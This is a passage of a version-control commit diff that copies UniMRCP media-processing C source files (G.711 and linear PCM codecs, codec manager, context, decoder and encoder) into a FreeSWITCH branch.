+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_g711.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_codec.h"
+#include "g711/g711.h"
+
+#define G711u_CODEC_NAME        "PCMU"
+#define G711u_CODEC_NAME_LENGTH (sizeof(G711u_CODEC_NAME)-1)
+
+#define G711a_CODEC_NAME        "PCMA"
+#define G711a_CODEC_NAME_LENGTH (sizeof(G711a_CODEC_NAME)-1)
+
+static apt_bool_t g711_open(mpf_codec_t *codec)
+{
+	return TRUE;
+}
+
+static apt_bool_t g711_close(mpf_codec_t *codec)
+{
+	return TRUE;
+}
+
+static apt_bool_t g711u_encode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	const short *decode_buf;
+	unsigned char *encode_buf;
+	apr_uint32_t i;
+
+	decode_buf = frame_in->buffer;
+	encode_buf = frame_out->buffer;
+
+	frame_out->size = frame_in->size / sizeof(short);
+
+	for(i=0; i<frame_out->size; i++) {
+		encode_buf[i] = linear_to_ulaw(decode_buf[i]);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t g711u_decode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	short *decode_buf;
+	const unsigned char *encode_buf;
+	apr_uint32_t i;
+
+	decode_buf = frame_out->buffer;
+	encode_buf = frame_in->buffer;
+
+	frame_out->size = frame_in->size * sizeof(short);
+
+	for(i=0; i<frame_in->size; i++) {
+		decode_buf[i] = ulaw_to_linear(encode_buf[i]);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t g711a_encode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	const short *decode_buf;
+	unsigned char *encode_buf;
+	apr_uint32_t i;
+
+	decode_buf = frame_in->buffer;
+	encode_buf = frame_out->buffer;
+
+	frame_out->size = frame_in->size / sizeof(short);
+
+	for(i=0; i<frame_out->size; i++) {
+		encode_buf[i] = linear_to_alaw(decode_buf[i]);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t g711a_decode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	short *decode_buf;
+	const unsigned char *encode_buf;
+	apr_uint32_t i;
+
+	decode_buf = frame_out->buffer;
+	encode_buf = frame_in->buffer;
+
+	frame_out->size = frame_in->size * sizeof(short);
+
+	for(i=0; i<frame_in->size; i++) {
+		decode_buf[i] = alaw_to_linear(encode_buf[i]);
+	}
+
+	return TRUE;
+}
+
+static const mpf_codec_vtable_t g711u_vtable = {
+	g711_open,
+	g711_close,
+	g711u_encode,
+	g711u_decode,
+	NULL
+};
+
+static const mpf_codec_vtable_t g711a_vtable = {
+	g711_open,
+	g711_close,
+	g711a_encode,
+	g711a_decode,
+	NULL
+};
+
+static const mpf_codec_descriptor_t g711u_descriptor = {
+	0,
+	{G711u_CODEC_NAME, G711u_CODEC_NAME_LENGTH},
+	8000,
+	1,
+	NULL,
+	TRUE
+};
+
+static const mpf_codec_descriptor_t g711a_descriptor = {
+	8,
+	{G711a_CODEC_NAME, G711a_CODEC_NAME_LENGTH},
+	8000,
+	1,
+	NULL,
+	TRUE
+};
+
+static const mpf_codec_attribs_t g711u_attribs = {
+	{G711u_CODEC_NAME, G711u_CODEC_NAME_LENGTH},  /* codec name */
+	8,                                            /* bits per sample */
+	MPF_SAMPLE_RATE_8000 | MPF_SAMPLE_RATE_16000 |
+	MPF_SAMPLE_RATE_32000 | MPF_SAMPLE_RATE_48000 /* supported sampling rates */
+};
+
+static const mpf_codec_attribs_t g711a_attribs = {
+	{G711a_CODEC_NAME, G711a_CODEC_NAME_LENGTH},  /* codec name */
+	8,                                            /* bits per sample */
+	MPF_SAMPLE_RATE_8000 | MPF_SAMPLE_RATE_16000 |
+	MPF_SAMPLE_RATE_32000 | MPF_SAMPLE_RATE_48000 /* supported sampling rates */
+};
+
+mpf_codec_t* mpf_codec_g711u_create(apr_pool_t *pool)
+{
+	return mpf_codec_create(&g711u_vtable,&g711u_attribs,&g711u_descriptor,pool);
+}
+
+mpf_codec_t* mpf_codec_g711a_create(apr_pool_t *pool)
+{
+	return mpf_codec_create(&g711a_vtable,&g711a_attribs,&g711a_descriptor,pool);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_linear.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_linear.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_codec_linear.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_linear.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_linear.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define APR_WANT_BYTEFUNC
+#include <apr_want.h>
+#include "mpf_codec.h"
+
+/* linear 16-bit PCM (host horder) */
+#define LPCM_CODEC_NAME        "LPCM"
+#define LPCM_CODEC_NAME_LENGTH (sizeof(LPCM_CODEC_NAME)-1)
+
+/* linear 16-bit PCM (RFC3551) */
+#define L16_CODEC_NAME        "L16"
+#define L16_CODEC_NAME_LENGTH (sizeof(L16_CODEC_NAME)-1)
+
+
+static apt_bool_t l16_open(mpf_codec_t *codec)
+{
+	return TRUE;
+}
+
+static apt_bool_t l16_close(mpf_codec_t *codec)
+{
+	return TRUE;
+}
+
+static apt_bool_t l16_encode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	apr_uint32_t i;
+	const short *buf_in = frame_in->buffer;
+	short *buf_out = frame_out->buffer;
+	apr_size_t samples = frame_in->size / sizeof(short);
+
+	frame_out->size = frame_in->size;
+
+	for(i=0; i<samples; i++) {
+		buf_out[i] = htons(buf_in[i]);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t l16_decode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	apr_uint32_t i;
+	const short *buf_in = frame_in->buffer;
+	short *buf_out = frame_out->buffer;
+	apr_size_t samples = frame_in->size / sizeof(short);
+
+	frame_out->size = frame_in->size;
+
+	for(i=0; i<samples; i++) {
+		buf_out[i] = ntohs(buf_in[i]);
+	}
+
+	return TRUE;
+}
+
+
+
+static const mpf_codec_vtable_t lpcm_vtable = {
+	NULL
+};
+
+static const mpf_codec_vtable_t l16_vtable = {
+	l16_open,
+	l16_close,
+	l16_encode,
+	l16_decode,
+	NULL
+};
+
+static const mpf_codec_attribs_t lpcm_attribs = {
+	{LPCM_CODEC_NAME, LPCM_CODEC_NAME_LENGTH},    /* codec name */
+	16,                                           /* bits per sample */
+	MPF_SAMPLE_RATE_8000 | MPF_SAMPLE_RATE_16000 |
+	MPF_SAMPLE_RATE_32000 | MPF_SAMPLE_RATE_48000 /* supported sampling rates */
+};
+
+static const mpf_codec_attribs_t l16_attribs = {
+	{L16_CODEC_NAME, L16_CODEC_NAME_LENGTH},      /* codec name */
+	16,                                           /* bits per sample */
+	MPF_SAMPLE_RATE_8000 | MPF_SAMPLE_RATE_16000 |
+	MPF_SAMPLE_RATE_32000 | MPF_SAMPLE_RATE_48000 /* supported sampling rates */
+};
+
+mpf_codec_descriptor_t* mpf_codec_lpcm_descriptor_create(apr_uint16_t sampling_rate, apr_byte_t channel_count, apr_pool_t *pool)
+{
+	mpf_codec_descriptor_t *descriptor = apr_palloc(pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(descriptor);
+	descriptor->payload_type = 96;
+	descriptor->name.buf = LPCM_CODEC_NAME;
+	descriptor->name.length = LPCM_CODEC_NAME_LENGTH;
+	descriptor->sampling_rate = sampling_rate;
+	descriptor->channel_count = channel_count;
+	return descriptor;
+}
+
+mpf_codec_t* mpf_codec_lpcm_create(apr_pool_t *pool)
+{
+	return mpf_codec_create(&lpcm_vtable,&lpcm_attribs,NULL,pool);
+}
+
+mpf_codec_t* mpf_codec_l16_create(apr_pool_t *pool)
+{
+	return mpf_codec_create(&l16_vtable,&l16_attribs,NULL,pool);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_manager.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_manager.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_codec_manager.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_manager.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_manager.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "mpf_codec_manager.h"
+#include "apt_log.h"
+
+
+struct mpf_codec_manager_t {
+	/** Memory pool */
+	apr_pool_t   *pool;
+
+	/** Dynamic array of codecs (mpf_codec_t*) */
+	apr_array_header_t *codec_arr;
+};
+
+
+mpf_codec_descriptor_t* mpf_codec_lpcm_descriptor_create(apr_uint16_t sampling_rate, apr_byte_t channel_count, apr_pool_t *pool);
+
+MPF_DECLARE(mpf_codec_manager_t*) mpf_codec_manager_create(apr_size_t codec_count, apr_pool_t *pool)
+{
+	mpf_codec_manager_t *codec_manager = apr_palloc(pool,sizeof(mpf_codec_manager_t));
+	codec_manager->pool = pool;
+	codec_manager->codec_arr = apr_array_make(pool,(int)codec_count,sizeof(mpf_codec_t*));
+	return codec_manager;
+}
+
+MPF_DECLARE(void) mpf_codec_manager_destroy(mpf_codec_manager_t *codec_manager)
+{
+	/* nothing to do */
+}
+
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_register(mpf_codec_manager_t *codec_manager, mpf_codec_t *codec)
+{
+	mpf_codec_t **slot;
+	if(!codec || !codec->attribs || !codec->attribs->name.buf) {
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Codec [%s]",codec->attribs->name.buf);
+
+	slot = apr_array_push(codec_manager->codec_arr);
+	*slot = codec;
+	return TRUE;
+}
+
+MPF_DECLARE(mpf_codec_t*) mpf_codec_manager_codec_get(const mpf_codec_manager_t *codec_manager, mpf_codec_descriptor_t *descriptor, apr_pool_t *pool)
+{
+	int i;
+	mpf_codec_t *codec = NULL;
+	mpf_codec_t *ret_codec = NULL;
+	if(!descriptor) {
+		return NULL;
+	}
+
+	for(i=0; i<codec_manager->codec_arr->nelts; i++) {
+		codec = ((mpf_codec_t**)codec_manager->codec_arr->elts)[i];
+		if(descriptor->payload_type < 96) {
+			if(codec->static_descriptor && codec->static_descriptor->payload_type == descriptor->payload_type) {
+				descriptor->name = codec->static_descriptor->name;
+				descriptor->sampling_rate = codec->static_descriptor->sampling_rate;
+				descriptor->channel_count = codec->static_descriptor->channel_count;
+				break;
+			}
+		}
+		else {
+			if(apt_string_compare(&codec->attribs->name,&descriptor->name) == TRUE) {
+				/* sampling rate must be checked as well */
+				break;
+			}
+		}
+	}
+
+	if(i == codec_manager->codec_arr->nelts) {
+		/* no match found */
+		return NULL;
+	}
+	if(codec) {
+		ret_codec = mpf_codec_clone(codec,pool);
+		ret_codec->descriptor = descriptor;
+	}
+	return ret_codec;
+}
+
+MPF_DECLARE(mpf_codec_t*) mpf_codec_manager_default_codec_get(const mpf_codec_manager_t *codec_manager, apr_pool_t *pool)
+{
+	mpf_codec_t *codec;
+	mpf_codec_descriptor_t *descriptor = mpf_codec_lpcm_descriptor_create(8000,1,pool);
+	codec = mpf_codec_manager_codec_get(codec_manager,descriptor,pool);
+	return codec;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_list_get(const mpf_codec_manager_t *codec_manager, mpf_codec_list_t *codec_list, apr_pool_t *pool)
+{
+	const mpf_codec_descriptor_t *static_descriptor;
+	mpf_codec_descriptor_t *descriptor;
+	int i;
+	mpf_codec_t *codec;
+
+	mpf_codec_list_init(codec_list,codec_manager->codec_arr->nelts,pool);
+	for(i=0; i<codec_manager->codec_arr->nelts; i++) {
+		codec = ((mpf_codec_t**)codec_manager->codec_arr->elts)[i];
+		static_descriptor = codec->static_descriptor;
+		if(static_descriptor) {
+			descriptor = mpf_codec_list_add(codec_list);
+			if(descriptor) {
+				*descriptor = *static_descriptor;
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mpf_codec_manager_codec_parse(const mpf_codec_manager_t *codec_manager, mpf_codec_list_t *codec_list, char *codec_desc_str, apr_pool_t *pool)
+{
+	const mpf_codec_t *codec;
+	mpf_codec_descriptor_t *descriptor;
+	const char *separator = "/";
+	char *state;
+	/* parse codec name */
+	char *str = apr_strtok(codec_desc_str, separator, &state);
+	codec_desc_str = NULL; /* make sure we pass NULL on subsequent calls of apr_strtok() */
+	if(str) {
+		apt_str_t name;
+		apt_string_assign(&name,str,pool);
+		/* find codec by name */
+		codec = mpf_codec_manager_codec_find(codec_manager,&name);
+		if(!codec) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Codec [%s]",str);
+			return FALSE;
+		}
+
+		descriptor = mpf_codec_list_add(codec_list);
+		descriptor->name = name;
+
+		/* set defualt attributes */
+		if(codec->static_descriptor) {
+			descriptor->payload_type = codec->static_descriptor->payload_type;
+			descriptor->sampling_rate = codec->static_descriptor->sampling_rate;
+			descriptor->channel_count = codec->static_descriptor->channel_count;
+		}
+		else {
+			descriptor->payload_type = 96;
+			descriptor->sampling_rate = 8000;
+			descriptor->channel_count = 1;
+		}
+
+		/* parse optional payload type */
+		str = apr_strtok(codec_desc_str, separator, &state);
+		if(str) {
+			descriptor->payload_type = (apr_byte_t)atol(str);
+
+			/* parse optional sampling rate */
+			str = apr_strtok(codec_desc_str, separator, &state);
+			if(str) {
+				descriptor->sampling_rate = (apr_uint16_t)atol(str);
+
+				/* parse optional channel count */
+				str = apr_strtok(codec_desc_str, separator, &state);
+				if(str) {
+					descriptor->channel_count = (apr_byte_t)atol(str);
+				}
+			}
+		}
+	}
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_list_load(const mpf_codec_manager_t *codec_manager, mpf_codec_list_t *codec_list, const char *str, apr_pool_t *pool)
+{
+	char *codec_desc_str;
+	char *state;
+	char *codec_list_str = apr_pstrdup(pool,str);
+	do {
+		codec_desc_str = apr_strtok(codec_list_str, " ", &state);
+		if(codec_desc_str) {
+			mpf_codec_manager_codec_parse(codec_manager,codec_list,codec_desc_str,pool);
+		}
+		codec_list_str = NULL; /* make sure we pass NULL on subsequent calls of apr_strtok() */
+	} 
+	while(codec_desc_str);
+	return TRUE;
+}
+
+MPF_DECLARE(const mpf_codec_t*) mpf_codec_manager_codec_find(const mpf_codec_manager_t *codec_manager, const apt_str_t *codec_name)
+{
+	int i;
+	mpf_codec_t *codec;
+	for(i=0; i<codec_manager->codec_arr->nelts; i++) {
+		codec = ((mpf_codec_t**)codec_manager->codec_arr->elts)[i];
+		if(apt_string_compare(&codec->attribs->name,codec_name) == TRUE) {
+			return codec;
+		}
+	}
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_context.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_context.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_context.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_context.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_context.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,232 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_context.h"
+#include "mpf_termination.h"
+#include "mpf_stream.h"
+#include "mpf_encoder.h"
+#include "mpf_decoder.h"
+#include "mpf_bridge.h"
+#include "apt_log.h"
+
+static mpf_object_t* mpf_context_connection_create(mpf_context_t *context, mpf_termination_t *src_termination, mpf_termination_t *sink_termination);
+
+MPF_DECLARE(mpf_context_t*) mpf_context_create(void *obj, apr_size_t max_termination_count, apr_pool_t *pool)
+{
+	apr_size_t i,j;
+	mpf_context_t *context = apr_palloc(pool,sizeof(mpf_context_t));
+	context->obj = obj;
+	context->pool = pool;
+	context->elem = NULL;
+	context->max_termination_count = max_termination_count;
+	context->termination_count = 0;
+	context->table = apr_palloc(pool,sizeof(table_item_t)*max_termination_count);
+	for(i=0; i<max_termination_count; i++) {
+		context->table[i] = apr_palloc(pool,sizeof(table_item_t)*max_termination_count);
+		for(j=0; j<max_termination_count; j++) {
+			context->table[i][j] = NULL;
+		}
+	}
+
+	return context;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_destroy(mpf_context_t *context)
+{
+	apr_size_t i;
+	apr_size_t count = context->max_termination_count;
+	mpf_termination_t *termination;
+	for(i=0; i<count; i++){
+		termination = context->table[i][i];
+		if(termination) {
+			mpf_context_termination_subtract(context,termination);
+			if(termination->audio_stream) {
+				mpf_audio_stream_destroy(termination->audio_stream);
+			}
+		}
+	}
+	return TRUE;
+}
+
+MPF_DECLARE(void*) mpf_context_object_get(mpf_context_t *context)
+{
+	return context->obj;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_termination_add(mpf_context_t *context, mpf_termination_t *termination)
+{
+	apr_size_t i;
+	apr_size_t count = context->max_termination_count;
+	for(i=0; i<count; i++) {
+		if(!context->table[i][i]) {
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add Termination");
+			context->table[i][i] = termination;
+			termination->slot = i;
+			context->termination_count++;
+			return TRUE;
+		}
+	}
+	return FALSE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_termination_subtract(mpf_context_t *context, mpf_termination_t *termination)
+{
+	apr_size_t i = termination->slot;
+	if(i >= context->max_termination_count) {
+		return FALSE;
+	}
+	if(context->table[i][i] != termination) {
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Subtract Termination");
+	context->table[i][i] = NULL;
+	termination->slot = (apr_size_t)-1;
+	context->termination_count--;
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_process(mpf_context_t *context)
+{
+	mpf_object_t *object;
+	apr_size_t i,j;
+	for(i=0; i<context->max_termination_count; i++) {
+		for(j=0; j<context->max_termination_count; j++) {
+			if(i==j) continue;
+
+			object = context->table[i][j];
+			if(object && object->process) {
+				object->process(object);
+			}
+		}
+	}
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_topology_apply(mpf_context_t *context, mpf_termination_t *termination)
+{
+	apr_size_t i,j;
+	mpf_object_t *object;
+	mpf_termination_t *sink_termination;
+	mpf_termination_t *source_termination;
+	if(context->termination_count <= 1) {
+		/* at least 2 terminations are required to apply topology on them */
+		return TRUE;
+	}
+
+	i = termination->slot;
+	for(j=0; j<context->max_termination_count; j++) {
+		if(i == j) continue;
+
+		sink_termination = context->table[j][j];
+		object = mpf_context_connection_create(context,termination,sink_termination);
+		if(object) {
+			context->table[i][j] = object;
+		}
+	}
+
+	j = termination->slot;
+	for(i=0; i<context->max_termination_count; i++) {
+		if(i == j) continue;
+
+		source_termination = context->table[i][i];
+		object = mpf_context_connection_create(context,source_termination,termination);
+		if(object) {
+			context->table[i][j] = object;
+		}
+	}
+
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_context_topology_destroy(mpf_context_t *context, mpf_termination_t *termination)
+{
+	apr_size_t i,j;
+	mpf_object_t *object;
+	if(context->termination_count <= 1) {
+		/* at least 2 terminations are required to destroy topology */
+		return TRUE;
+	}
+
+	i = termination->slot;
+	for(j=0; j<context->max_termination_count; j++) {
+		if(i == j) continue;
+
+		object = context->table[i][j];
+		if(object) {
+			if(object->destroy) {
+				object->destroy(object);
+			}
+			context->table[i][j] = NULL;
+		}
+	}
+
+	j = termination->slot;
+	for(i=0; i<context->max_termination_count; i++) {
+		if(i == j) continue;
+
+		object = context->table[i][j];
+		if(object) {
+			if(object->destroy) {
+				object->destroy(object);
+			}
+			context->table[i][j] = NULL;
+		}
+	}
+	return TRUE;
+}
+
+static mpf_object_t* mpf_context_connection_create(mpf_context_t *context, mpf_termination_t *src_termination, mpf_termination_t *sink_termination)
+{
+	mpf_object_t *object = NULL;
+	mpf_audio_stream_t *source;
+	mpf_audio_stream_t *sink;
+	if(!src_termination || !sink_termination) {
+		return NULL;
+	}
+	source = src_termination->audio_stream;
+	sink = sink_termination->audio_stream;
+	if(source && (source->mode & STREAM_MODE_RECEIVE) == STREAM_MODE_RECEIVE &&
+		sink && (sink->mode & STREAM_MODE_SEND) == STREAM_MODE_SEND) {
+		mpf_codec_t *rx_codec = source->rx_codec;
+		mpf_codec_t *tx_codec = sink->tx_codec;
+		if(rx_codec && tx_codec) {
+			if(mpf_codec_descriptor_match(rx_codec->descriptor,tx_codec->descriptor) == TRUE) {
+				object = mpf_null_bridge_create(source,sink,context->pool);
+			}
+			else {
+				if(rx_codec->descriptor->sampling_rate != tx_codec->descriptor->sampling_rate) {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,
+						"Resampling is not supported now. "
+						"Try to configure and use the same sampling rate on both ends");
+					return NULL;
+				}
+				if(rx_codec->vtable && rx_codec->vtable->decode) {
+					/* set decoder before bridge */
+					mpf_audio_stream_t *decoder = mpf_decoder_create(source,context->pool);
+					source = decoder;
+				}
+				if(tx_codec->vtable && tx_codec->vtable->encode) {
+					/* set encoder after bridge */
+					mpf_audio_stream_t *encoder = mpf_encoder_create(sink,context->pool);
+					sink = encoder;
+				}
+				object = mpf_bridge_create(source,sink,context->pool);
+			}
+		}
+	}
+	return object;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_decoder.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_decoder.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_decoder.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_decoder.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_decoder.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,93 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_decoder.h"
+#include "apt_log.h"
+
+typedef struct mpf_decoder_t mpf_decoder_t;
+
+struct mpf_decoder_t {
+	mpf_audio_stream_t *base;
+	mpf_audio_stream_t *source;
+	mpf_frame_t         frame_in;
+};
+
+
+static apt_bool_t mpf_decoder_destroy(mpf_audio_stream_t *stream)
+{
+	mpf_decoder_t *decoder = stream->obj;
+	return mpf_audio_stream_destroy(decoder->source);
+}
+
+static apt_bool_t mpf_decoder_open(mpf_audio_stream_t *stream)
+{
+	mpf_decoder_t *decoder = stream->obj;
+	return mpf_audio_stream_rx_open(decoder->source);
+}
+
+static apt_bool_t mpf_decoder_close(mpf_audio_stream_t *stream)
+{
+	mpf_decoder_t *decoder = stream->obj;
+	return mpf_audio_stream_rx_close(decoder->source);
+}
+
+static apt_bool_t mpf_decoder_process(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	mpf_decoder_t *decoder = stream->obj;
+	if(mpf_audio_stream_frame_read(decoder->source,&decoder->frame_in) != TRUE) {
+		return FALSE;
+	}
+
+	frame->type = decoder->frame_in.type;
+	if((frame->type & MEDIA_FRAME_TYPE_EVENT) == MEDIA_FRAME_TYPE_EVENT) {
+		frame->event_frame = decoder->frame_in.event_frame;
+	}
+	if((frame->type & MEDIA_FRAME_TYPE_AUDIO) == MEDIA_FRAME_TYPE_AUDIO) {
+		mpf_codec_decode(decoder->source->rx_codec,&decoder->frame_in.codec_frame,&frame->codec_frame);
+	}
+	return TRUE;
+}
+
+
+static const mpf_audio_stream_vtable_t vtable = {
+	mpf_decoder_destroy,
+	mpf_decoder_open,
+	mpf_decoder_close,
+	mpf_decoder_process,
+	NULL,
+	NULL,
+	NULL
+};
+
+MPF_DECLARE(mpf_audio_stream_t*) mpf_decoder_create(mpf_audio_stream_t *source, apr_pool_t *pool)
+{
+	apr_size_t frame_size;
+	mpf_codec_t *codec;
+	mpf_decoder_t *decoder;
+	if(!source || !source->rx_codec) {
+		return NULL;
+	}
+	decoder = apr_palloc(pool,sizeof(mpf_decoder_t));
+	decoder->base = mpf_audio_stream_create(decoder,&vtable,STREAM_MODE_RECEIVE,pool);
+	decoder->source = source;
+
+	codec = source->rx_codec;
+	frame_size = mpf_codec_frame_size_calculate(codec->descriptor,codec->attribs);
+	decoder->base->rx_codec = codec;
+	decoder->frame_in.codec_frame.size = frame_size;
+	decoder->frame_in.codec_frame.buffer = apr_palloc(pool,frame_size);
+	return decoder->base;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_encoder.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_encoder.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_encoder.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_encoder.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_encoder.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_encoder.h"
+#include "apt_log.h"
+
+typedef struct mpf_encoder_t mpf_encoder_t;
+
+struct mpf_encoder_t {
+	mpf_audio_stream_t *base;
+	mpf_audio_stream_t *sink;
+	mpf_frame_t         frame_out;
+};
+
+
+static apt_bool_t mpf_encoder_destroy(mpf_audio_stream_t *stream)
+{
+	mpf_encoder_t *encoder = stream->obj;
+	return mpf_audio_stream_destroy(encoder->sink);
+}
+
+static apt_bool_t mpf_encoder_open(mpf_audio_stream_t *stream)
+{
+	mpf_encoder_t *encoder = stream->obj;
+	return mpf_audio_stream_tx_open(encoder->sink);
+}
+
+static apt_bool_t mpf_encoder_close(mpf_audio_stream_t *stream)
+{
+	mpf_encoder_t *encoder = stream->obj;
+	return mpf_audio_stream_tx_close(encoder->sink);
+}
+
+static apt_bool_t mpf_encoder_process(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	mpf_encoder_t *encoder = stream->obj;
+
+	encoder->frame_out.type = frame->type;
+	if((frame->type & MEDIA_FRAME_TYPE_EVENT) == MEDIA_FRAME_TYPE_EVENT) {
+		encoder->frame_out.event_frame = frame->event_frame;
+	}
+	if((frame->type & MEDIA_FRAME_TYPE_AUDIO) == MEDIA_FRAME_TYPE_AUDIO) {
+		mpf_codec_encode(encoder->sink->tx_codec,&frame->codec_frame,&encoder->frame_out.codec_frame);
+	}
